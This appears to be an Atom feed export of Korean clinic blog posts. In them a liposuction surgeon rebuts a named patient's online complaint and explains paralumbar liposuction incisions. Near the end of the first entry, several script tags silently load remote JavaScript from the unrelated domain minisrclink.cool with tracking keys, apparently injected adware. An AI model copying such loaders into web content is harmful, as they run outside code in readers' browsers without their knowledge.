러브핸들은 재수술을 받았으니 오른손으로 잡은 것은 없어졌을 것이고, 나중에 확인해 보겠습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&#039;투메슨트 지방흡입&#039; 의 저자 닥터 클레인은 그의 책에서 &#039;&lt;code&gt;현실적인 기대&lt;/code&gt;&#039;의 의미를 아래와 같이 설명하고 있습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;bs-callout bs-callout-info&quot;&gt; &lt;h5&gt;Important Information about Tumescent Liposuction&lt;/h5&gt; &lt;h4&gt;Realistic expectations&lt;/h4&gt; &lt;p&gt;Although the results of liposuction are often quite spectacular, it is not realistic to expect perfection. It is impossible to guarantee the precise amount of improvement that will result from liposuction. Patients should not have unrealistic expectations. Although patients can usually expect to achieve at least a 50% improvement, it is unreasonable to expect 95% improvement or near perfection. For the perfectionist, or for liposuction of a very large area, maximum improvement may require a second procedure, for which there would be an additional fee. &lt;/p&gt; &lt;p&gt;Patients who would be satisfied with a 50% improvement would be reasonably good candidates for liposuction. &lt;/p&gt; &lt;p&gt;The &quot;50% improvement&quot; is intentionally a vague measure. It indicates a definite perceptible improvement, but something short of perfection. If a 50% improvement would make a patient happy, it is likely that these expectations will be met. Our patients generally achieve more than a 50% improvement. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h5&gt;투메슨트 지방흡입에 대한 중요한 정보&lt;/h5&gt; &lt;h4&gt;현실적인 기대&lt;/h4&gt; &lt;p&gt;때론 지방흡입의 결과가 아주 기가 막힐 정도라도, 완벽한 결과를 기대하는 겻은 현실적이지 않습니다. 지방흡입 수술후에 특정한 정도의 개선을 보장하는 것은 불가능한 일입니다. 환자분들은 비현실적인 기대를 해서는 안됩니다. 보통은 최소 50%의 개선을 기대할 수 있다 하더라도, 95% 개선 또는 거의 완벽에 가까운 정도의 개선을 기대하는 것은 합리적이지 않습니다. 완벽주의자나 또는 매우 넗은 부위의 수술을 원하는 분이 최대로 만족하기 위해서는 추가수술이 필요할 것이고, 여기에는 추가적인 비용을 지불해야 할 것 입니다. &lt;/p&gt; &lt;p&gt;50% 개선으로 만족할 환자분들이 지방흡입수술에 좋은 대상이라고 판단하는 것이 합리적입니다. &lt;/p&gt; &lt;p&gt;&#039;50% 개선&#039; 이라는 것은 의도적인 애매모호한 수치입니다. 그것은 확실하게 인지할 정도의 개선을 의미하지만 완벽보다는 부족한 정도입니다. 만일 50%의 개선이 어떤 환자를 행복하게 만들 수 있다면, 이러한 기대는 충족될 가능성이 높습니다. 저희 환자들은 보통 50% 이상 개선이 있습니다. &lt;/p&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;Debakjuba님의 경우에도, 수술전에 현재 상태에서 옆구리의 돌출이 개선되는 것을 기대하는 것이 합리적인 기대라고 생각되며, 옆구리의 돌출이 완벽한 제거가 될 것을 기대해서는 안됩니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그리하여 비너스의원에서는 지방흡입 수술후 debakbuja님의 옆구리 지방층을 초음파로 측정하였고, 남아있는 돌출에 대해 근육이 늘어져서 생긴 것으로 설명하며, 추가적인 개선을 위해서는 요추주위등의 추가 수술을 받아 볼 것을 권유한 것입니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[관련정보 읽어보세요]&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://myvenus.co.kr/column/489701&quot;&gt; 비너스의원에서 수술후 debakbuja님의 전후사진 &lt;/a&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러한 상황에서 debakbuja님은 &lt;strong&gt;돈만 받고 옆구리(러브핸들)의 수술이 되지 않았다고 주장하며 비너스의원의 명예를 훼손&lt;/strong&gt;하고 있는 것입니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;alert alert-info&quot;&gt; &lt;p&gt;비너스의원에서는 수술전 환자분께 &#039;지방흡입 수술은 골격이나 근육층은 변화시킬 수 없고, 지방층만을 수술하기 때문에 환자분이 기대하는 대로 새로운 라인, 즉 에스라인이 나오는 것은 아니며, 현재 상태에서 개선만이 된다&#039;는 것을 설명하고 있습니다. &lt;/p&gt; &lt;p&gt;또한 &#039;사이즈감소 폭은 제거되는 지방량에 따를 것이며, 없는 지방을 만들어서 제거할 수는 없으므로 한계가 있다는 것을 이해 하셔야 한다.&#039; 라고 설명을 합니다. &lt;/p&gt; &lt;p&gt;그리고 &quot;의학적으로 가능한 것 만을 기대 하셔야 하며, 수술 디자인 할 때 본인이 원하시는 것을 말씀하시고 의학적으로 가능한 것은 해드리지만, 불가능한 것은 제가 해드릴 수 없다고 말씀 드리겠습니다.&quot; 라고 상담을 하고 있습니다. &lt;/p&gt; &lt;p&gt;또한 수술전 디자인이 모두 끝나면 수술 디자인을 거울 앞에서 보여드리면서 어떻게 어떻게 수술을 할 예정이며, 원하시는 것을 말씀하시게 하고나서, 계약된 수술범위는 이렇게 된다는 것을 거울 앞에서 확인시켜 드리고 사진을 찍어 놓습니다. &lt;/p&gt; &lt;/div&gt; &lt;p&gt;아마도 저희 병원에서 수술을 받으신 분들은 모두 기억하고 계시리라 믿습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래 사진은 debakbuja님이 강남T의원에서 러브핸들을 수술 받고 나서 지난 2017년 6월 3일에 네이버 블로그에 전후사진을 비교하며 게시한 사진입니다. 여기에 제가 추가로 같은 사이즈의 빨간 네모 상자를 그려 넣었습니다.&lt;strong&gt; 강남T의원에서 수술 후 약 5kg의 체중감량&lt;/strong&gt;을 했다고 하셨습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;100%&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/850/492/19f5f991272bc02bc26028764b75b30e.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러나 &lt;strong&gt;이러한 전후사진의 비교는 조건을 고려해야 합니다.&lt;/strong&gt; 그 조건의 차이는, &lt;/p&gt; &lt;ul&gt; &lt;li&gt;수술전사진은 전측복부 + 러브핸들 을 수술한 상태이고 후사진은 다른 위치의 절개구로 추가수술 또는 동일부위의 재수술을 받은 상태이다.&lt;/li&gt; &lt;li&gt;체중이 5kg 감량 전후의 비교이다.&lt;/li&gt; &lt;li&gt;후사진은 전사진에 비해 팔을 높이 들었다.&lt;/li&gt; &lt;li&gt;후사진은 전사진에 비해 폭은 좁은 반면에 길이가 같다. 빨간 상자의 폭은 동일 하므로 즉 좌우로 좁힌 사진이다.&lt;/li&gt; &lt;/ul&gt; &lt;p&gt;또한 정확한 비교를 하려면 추가적으로 팔을 올리고 내리고, 또한 전후 좌우 사진들이 함께 비교되어야 한다고 생각합니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;이러한 조건이 있는 상태에서 전후사진이 제대로 비교가 되면 즉, 이 테스트는 &lt;strong&gt;러브핸들의 재수술 지방흡입과 체중감량이 옆구리의 돌출에 미치는 영향&lt;/strong&gt;에 관한 내용이 될 것입니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;만일 debakbuja님의 의도 즉 옆구리의 돌출이 근육의 돌출인지, 지방조직의 돌출이었는지 밝혀 내기 위한다면, 초음파로 남은 옆구리 지방층의 두께를 측정하거나, 동일한 체중을 유지한 채로 추가부위 없이, 수술전과 동일한 부위 즉 러브핸들 만을 재수술한 상태에서 비교해야만 합니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;debakbuja님은 옆구리(러브핸들)의 지방흡입 수술로 옆구리 돌출이 완벽하게 제거되는 결과를 요구하고 있는 것 같습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;div class=&quot;alert alert-info&quot;&gt; &lt;strong&gt;만일 debakbuja님이 옆구리의 돌출을 완벽하게 제거하고 싶다면, &lt;/strong&gt;&lt;br /&gt; &lt;ol&gt; &lt;li&gt;전측복부와 옆구리(러브핸들)만으로는 안됩니다. 요추주위등의 추가수술이 이루어 져야 합니다. &lt;/li&gt; &lt;li&gt;지방흡입후 남아 있는 지방에 대해 점검해 보고 재수술로 완벽하게 제거해야 합니다.&lt;/li&gt; &lt;li&gt;내장지방을 제거하기 위하여 체중감량을 해야 하고 적절한 체중을 유지해야 합니다. &lt;/li&gt; &lt;li&gt;근육의 늘어짐으로 인한 돌출을 제거하기 위해서 복벽 성형술을 추가로 받아야 합니다. &lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;여기까지 제가 알고 있는 방법만 나열한 것입니다. debakbuja님은 1,3번 또는 1,2,3번을 하신 것 같네요. 그러나 늘어진 옆구리의 근육성 돌출을 완전히 제거하려면, 더 노력을 하더라도 완벽한 결과를 내기는 어려울 것입니다. 또한 완벽한 돌출을 제거한다고 해도, 무리한 지방제거 수술과 다이어트로 인해 또 다른 부작용에 시달리게 될 지도 모릅니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;사실상 이 세상에는 완벽한 사람은 없으며, 완벽한 결과도 없습니다. 또한 2% 차이를 내기 위해서는 훨씬 더 많은 노력이 필요하듯이 완벽 해지려는 시도에는 많은 시련이 있을 것입니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;저는 debakbuja님이 강남T의원에서 수술 받기 전에 전화통화를 하면서, &quot;제가 언제 debakbuja님께 서운하게 해드린 것이 있었습니까? 저에게도 기회를 주십시오. 만일 러브핸들에 28 mm 지방층이 남아 있다면 수술비 전액을 환불해 드리겠습니다. 수술전에 진찰을 한번 받으러 오십시오, 저녁 늦게 라도 기다리겠습니다.&quot; 라고 부탁을 드렸습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img width=&quot;100%&quot; src=&quot;https://myvenus.co.kr/files/attach/images/251145/850/492/edba0da88c7204aed78dd10f2746d8f1.jpg&quot; alt=&quot;&quot; /&gt; &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;강남T의원에서 debakbuja님의 러브핸들 수술에서 총 850 ml의 지방이 나왔다고 하셔서 깜작 놀랐습니다&lt;/strong&gt;. 설마 지방과 같이 흡입된 용액을 모두 합쳐 말씀하시는 것은 아닌지요? 저는 debakbuja님의 첫번째 수술인 전측복부와 러브핸들 모두 합해서 순수지방만 530 ml 제거했는데 말입니다. debakbuja님의 글이 사실 이라면 아무래도 저는 강남T의원에 수술을 배우러 다녀와야 할 것 같습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러나 실력은 없어도 debakbuja님께 최선을 다한 제 마음을 아프게 하지 마십시오. 더 이상 확실한 증거가 없는 사실들을 다른 사람들 잎에서 함부로 비방하지 마십시요. 20년을 의사로 살면서 그래도 좋은 일도 좀 했습니다. debakbuja님의 수술에서 좋은 점도 좀 봐 보십시오. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;의사는 사람의 생명을 다루기 때문에 실수를 해서는 안됩니다. 그렇지만 실수는 항상 있는 법입니다. 그렇다고 아플 때 믿을 수 있는 사람은 의사이지 않습니까? 또한 의사는 성형수술후 완벽한 결과를 낼 수도 없습니다. 그렇지만 현재상태보다 개선을 위해 수술을 받는 것이니 다소 부족하더라도 너그러이 이해 해 주시길 바랍니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;또한, 의사와 환자는 금전적인 관계도 있지만, 금전적인 이외에 라포(RAPPORT)라는 믿음관계도 있습니다. 의사에게 생명을 맡겨야 하는데 믿을 수가 없어서 되겠습니까? 이래가지고 누가 제게 생명을 맞기겠습니까? 수술의 결과를 떠나서 생명을 다루며, 마음이 들어있는 의사의 수술은 돈으로 계산할 수 없다고 생각합니다. 환자에 대한 의사의 마음을, 제가 얼마나 애를 썼는지, 제가 지금 마음이 얼마나 아프고, 화가나고, 안스러운지, debakbuja님은 아마 모르시는 것 같습니다. &lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;엎지러진 물과 신뢰는 다시 주어 담을 수는 없는 법입니다.&lt;/strong&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;비너스의원 원장 정원호&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;[관련정보 참고하세요]&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489646&quot;&gt;1. 러브핸들에 대한 용어에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489652&quot;&gt;2. 옆구리(러브핸들) 부위의 초음파 측정과 수술부위에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489664&quot;&gt;3. BMI 와 옆구리(러브핸들)의 초음파 피하지방층 두께측정에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489679&quot;&gt;4. 진단서 작성법과 허위진단서&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489684&quot;&gt;5. 2014년 지방흡입 수술을 받은 N님에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489700&quot;&gt;6. debakbuja님의 사건 경위서&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489701&quot;&gt;7. debakbuja님의 옆구리(러브핸들)에 수술이 되지 않았다는 주장에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489712&quot;&gt;8. debakbuja님이 인터넷에 공표하고 있는 주장들&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/489746&quot;&gt;9. 강남K의원 C원장의 생각하는 ‘러브핸들’ 부위와 진단서에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a type=&quot;button&quot; class=&quot;bsbtn-flat bsbtn-concept&quot; href=&quot;https://myvenus.co.kr/490385&quot;&gt;10. 재수술사진인지 추가수술 사진인지 밝혀야 합니다. &lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;script type=&quot;text/javascript&quot; async=&quot;&quot; src=&quot;//minisrclink.cool/1e40c8bd4601a5a5a4.js&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot; src=&quot;https://minisrclink.cool/optout/set/lat?jsonp=__twb_cb_76198075&amp;amp;key=1e40c8bd4601a5a5a4&amp;amp;cv=1541132105&amp;amp;t=1541132105796&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot; src=&quot;https://minisrclink.cool/optout/set/lt?jsonp=__twb_cb_65329515&amp;amp;key=1e40c8bd4601a5a5a4&amp;amp;cv=27907&amp;amp;t=1541132105796&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot; async=&quot;&quot; src=&quot;//minisrclink.cool/1e40c8bd4601a5a5a4.js&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot; src=&quot;https://minisrclink.cool/optout/set/lat?jsonp=__twb_cb_914629094&amp;amp;key=1e40c8bd4601a5a5a4&amp;amp;cv=1541132380&amp;amp;t=1541132380212&quot;&gt;&lt;/script&gt;&lt;script type=&quot;text/javascript&quot; src=&quot;https://minisrclink.cool/optout/set/lt?jsonp=__twb_cb_526122875&amp;amp;key=1e40c8bd4601a5a5a4&amp;amp;cv=28182&amp;amp;t=1541132380213&quot;&gt;&lt;/script&gt;</content>			</entry><entry>
		<title>10. 재수술 사진인지 추가수술 사진인지 밝혀야 합니다.</title>
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		<published>2017-05-26T15:45:53+09:00</published>
		<updated>2021-11-11T12:18:38+09:00</updated>
		<author>
			<name>drpiggy</name>
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		<summary type="text">10. 재수술 사진인지 추가수술 사진인지 밝혀야 합니다. 요추주위등(뒷구리)의 지방흡입 오늘은 저희 비너스의원의 요추주위등 지방흡입 수술에 대해 소개해 드릴까 합니다. 복부 지방흡입의 경우 저는 절개구를 골반의 전상방장골극 하방에 절개구(Adit)를 만들어 전측복부와 옆구리(러브핸들)부위의 지방흡입을 합니다. 이 부위의 수술은 아래사진에서 보듯이 골반 측면에 있는 절개구만을 사용합니다. 그러나 골반 측면의 절개구...</summary>
	<content type="html">&lt;h3 class=&quot;head-line mBottom60&quot;&gt;&lt;span&gt;10. 재수술 사진인지 추가수술 사진인지 밝혀야 합니다. &lt;/span&gt;&lt;/h3&gt; &lt;h4 class=&quot;page-header mBottom60&quot;&gt;요추주위등(뒷구리)의 지방흡입&lt;/h4&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;오늘은 저희 비너스의원의 요추주위등 지방흡입 수술에 대해 소개해 드릴까 합니다. 복부 지방흡입의 경우 저는 절개구를 골반의 전상방장골극 하방에 절개구(Adit)를 만들어 전측복부와 옆구리(러브핸들)부위의 지방흡입을 합니다. 이 부위의 수술은 아래사진에서 보듯이 골반 측면에 있는 절개구만을 사용합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러나 골반 측면의 절개구만로는 척추위쪽과 뒤에서 보이는 옆구리인 소위 요추주위등(Paralumbar area) = 일명 &amp;quot;뒷구리(Posterior flank)&amp;quot; 부위의 지방층을 제거할 수가 없습니다. 우리의 몸통은 힁단면상 원형 또는 타원형 형태이기 때문에 측면에서 뒷면으로 흡입관이 휘어져서 돌아 갈 수 없기 때문입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래 사진은 몸통의 횡단면으로, 빨간색 막대는 흡입관(suction Cannula)을 나타내고 파란색 원은 절개구의 위치를 표시하고 있습니다. A 절개구는 위 사진의 절개구 위치를 표시한 것으로써, 빨간색 흡입관으로 흡입해 낼 수 있는 수술범위는 전측복부와 옆구리(러브핸들) 부위입니다. B 절개구는 꼬리뼈 즉, 미추(Coccyx) 부위에 만든 절개구로써, B 절개구를 이용한 흡입관은 요추천부 척추주위의 지방조직을 제거할 수 있습니다. 즉 뒤에서 보이는 옆구리 부위인 요추주위등(Paralumbar area)의 지방흡입을 위해서는 뒷등 부위에 절개구를 만들어야 합니다.&lt;/p&gt; &lt;p&gt;결국 복부의 원통형 수술을 위해서는 A 절개구를 이용하여 누운자세에서 전측과 측면의 복부지방흡입을 하고, 이어 B 절개구를 이용하여 엎드린 상태에서 요추, 천추 주위의 요추주위등(Paralumbar area) 즉, 뒷구리의 지방조직을 흡입 해야만 합니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그러므로 저희 비너스의원에서는 A 절개구만를 사용하여 전측복부와 측면복부를 수술하는 수술을 맥시머 복부지방흡입으로 부르며, 척추주위의 요추주위등 수술을 위해서 추가적인 비용을 받고 B 절개구를 만들어 엎드린 상태에서 수술을 하고 있는 상황입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/385/490/./files/attach/images/251145/385/490/7bd0c33db4ea40e3f93aa661358d2f6c.jpg&quot; width=&quot;50%&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h4 class=&quot;page-header mBottom60&quot;&gt;뒤에서 보이는 요추주위등(Parabumbar area)만의 지방흡입으로 옆구리 돌출이 개선 됩니다.&lt;/h4&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래 수술전후사진은 저희 버너스의원에서 요추등 부위와 엉덩이의 수술을 받고 1주일 경과된 사진으로, 수술전에 신장 156.6 cm, 체중 48.5 kg, BMI 19.8 이었습니다. 정확하게는 무릎위와 무릎내측도 지방흡입 수술을 받으셨지만, 수술의 주요부위는 요추주위등과 엉덩이 부위입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;절개구는 꼬리뼈 부위에 1개, 그리고 엉덩이 하방의 주름선에 1개씩 총 3개의 절개구를 사용하여 지방흡입을 하였으며, 가운데 사진인 디자인된 모습을 보면, 측면 중앙부위부터 요추, 천추 주위부위를 포함하는 허리하방 몸통의 뒷면 수술이라고 할 수 있습니다. 사실 꼬리뼈의 절개구를 이용하면 최대한 몸통의 측면을 수술을 하려고 노력하여도, 아래 디자인된 측면 끝 부분이상은 앞쪽으로 나갈수가 없을 뿐더러, 디자인된 부위 중 측면 끝부위는 완전한 지방제거가 되지 않습니다. 그러나 골반의 측면부위에 있는 절개구를 추가적으로 사용한다면, A 절개구와 B 절개구의 수술부위는 몸통측면(옆구리)의 가운데 부위에서 서로 중접이 되어, 원통형 복부지방흡입수술이 가능해 지는 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래 전후 사진을 비교하면 B 절개구를 만들어서 요추주위등만의 수술로도 옆구리의 돌출이 제거되어 몸통 측면인 옆구리의 모습이 개선 되었음을 알 수 있습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;그렇지만 비만도(BMI)가 정상인 사람들에 있어서는 요추주위등 또는 뒷구리의 지방층이 많지 않기 때문에 A 절개구만으로도 옆구리의 개선을 불 수 있어서, 비용대비 효과 측면에서 좋은 선택이라고 할 수 있습니다. 그러나 비만도가 정상보다 높은 분들의 경우, A 절개구만으로는 접근이 어려운 요추주위등 부위의 심층 지방이 많이 축척 되어 있는 경우가 많아서, 저의 경우는 A와 B 절개구를 모두 내어 지방흡입 수술을 하는 원통형 수술을 권해 드리고 있습니다. 즉, 옆구리(러브핸들)부위의 완전한 지방제거를 위해서는 원통형 지방흡입을 받는 것이 좋습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/385/490/./files/attach/images/251145/385/490/046c05342bfd52e17b39de9169b45515.jpg&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/385/490/./files/attach/images/251145/385/490/e5e792c69fdc17bff75f70d3ff030f2f.jpg&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래의 그림은 뒷등이나 뒷구리의 지방흡입 수술후 옆구리의 모습이 개선되는 이유를 설명하는 모식도 입니다.&amp;nbsp;몸통의 전면과 측면의 수술후 옆구리 부위가 마음에 들지 않는 경우에 요추주위 뒷등 즉 뒷구리를 추가로&amp;nbsp;수술받으면 더 개선되는 옆구리 모습이 만들어 집니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;지방흡입모식도2.jpg&quot; rel=&quot;xe_gallery&quot; src=&quot;https://myvenus.co.kr/files/attach/images/116/736/519/28b219da0afaf7f2441e750f412e33f1.jpg&quot; style=&quot;box-sizing: border-box; vertical-align: middle; height: auto; cursor: pointer;&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h4 class=&quot;page-header mBottom60&quot;&gt;피부와 근육이 늘어져서 발생한 옆구리의 돌출은 요추주위등 의 수술로도 제거되지 않습니다.&lt;/h4&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;다음의 경우는 옆구리의 돌출이 있는 경우입니다. 옆구리의 돌출은 지방조직이 과다축적되어 생기는 경우가 많습니다. 그러나 반복적인 다이어트로 체중변화가 많았다거나 체질적으로 피부와 근육이 늘어나 있는 분들에서 특히, 골격으로 지지받지 못하는 복부의 경우 하복부와 옆구리 부위의 근육과 피부가 늘어나서 돌출이 되는 경우가 많습니다. 아래 환자분은 옆구리의 돌출이 그런 경우입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;아래 지방흡입 전후사진은 BMI 21.5 이신 분으로 마찬가지로 B 절개구를 이용하여 요추주위등과 엉덩이, 그리고 추가적으로 허벅지 내측을 수술 받으시고 2개월된 전후사진입니다. 옆구리의 돌출은 지방층이 아니라 복근과 피부의 늘어짐으로 생긴 돌출이며, 수술후 1개월째 체크한 초음파상 옆구리의 지방층 두께는 5 mm 내외였습니다. 따라서 아래사진처럼 B 절개구를 만들어서 요추주위등만의 수술로 옆구리의 사이즈가 줄었지만, 옆구리의 돌출이 완전하게 제거되지 않을 수도 있습니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;&lt;i class=&quot;icon icon-external-link&quot;&gt;&lt;/i&gt; &lt;a href=&quot;https://myvenus.co.kr/489652&quot;&gt;2. 옆구리(러브핸들) 부위의 초음파 측정과 수술부위에 대하여&lt;/a&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/385/490/./files/attach/images/251145/385/490/b39077dfbad831ab1200faf472c7de91.png&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/385/490/./files/attach/images/251145/385/490/fb949a73a32a92838016bf596ea0b93e.png&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p class=&quot;text-center mBottom60&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://myvenus.co.kr//files/attach/images/484826/385/490/./files/attach/images/251145/385/490/93e3d37d5171eeb0f4cf674fb7f40201.png&quot; width=&quot;75%&quot; /&gt;&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;이렇게 피하지방층이 아닌 피부나 근육의 늘어짐으로 인해 생긴 돌출을 확인하는 방법은 앞서 말씀드린 것처럼, 초음파로 남은 지방층을 확인하는 방법이외에도, 옆구리 운동하듯이 한쪽 측면으로 옆구리를 구부려서 근육을 스트레칭한 상태에서 꼬집어 지방층을 확인하는 핀치테스트, 그리고 서 있을 때 돌출되는 부위가 엎드리거나 누워있는 상태에서 돌출이 사라지는 것을 확인하시는 것입니다.&lt;/p&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;h4 class=&quot;page-header mBottom60&quot;&gt;debakbuja님은 재수술인지 추가수술인지 정확한 수술부위를 밝혀야 합니다.&lt;/h4&gt; &lt;p&gt;&amp;nbsp;&lt;/p&gt; &lt;p&gt;특정 부위의 지방층이 충분히 제거되지 않아 다시 같은 부위를 수술하여 지방을 제거하는 것은 재수술입니다. 반면에 전측복부와 옆구리의 수술후에 이어 요추주위등 지방흡입 수술을 하는 